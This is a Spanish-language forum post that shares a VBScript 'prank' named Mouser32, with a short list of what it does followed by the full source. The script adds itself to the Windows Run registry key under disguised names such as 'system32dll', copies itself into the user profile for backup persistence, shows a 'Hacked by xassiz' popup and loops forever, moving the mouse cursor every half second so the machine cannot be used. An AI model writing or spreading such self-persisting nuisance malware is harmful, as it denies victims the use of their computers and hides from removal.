0 Usuarios y 1 Visitante están viendo este tema.
-Se agrega al Run para iniciarse con el pc-Se autocopia-Agrega tambien al Run la copia por si se borra el original-Muestra un popup con un mensaje-Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD-Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc.
'Mouser32 - by xassiz''broma sobre el mouseset registro = createobject("wscript.shell")registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ"set autocopia = createobject("scripting.filesystemobject")set varentorno = createobject("wscript.shell")userprofile = varentorno.expandenvironmentstrings("%userprofile%")autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", trueset registro2 = createobject("wscript.shell")registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe",userprofile & "\mouser32.vbs","REG_SZ"doSet hacked=createobject("Wscript.shell")set broma=CreateObject("Excel.Application")mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16)mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")wscript.sleep 500mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")")set broma=Nothingloop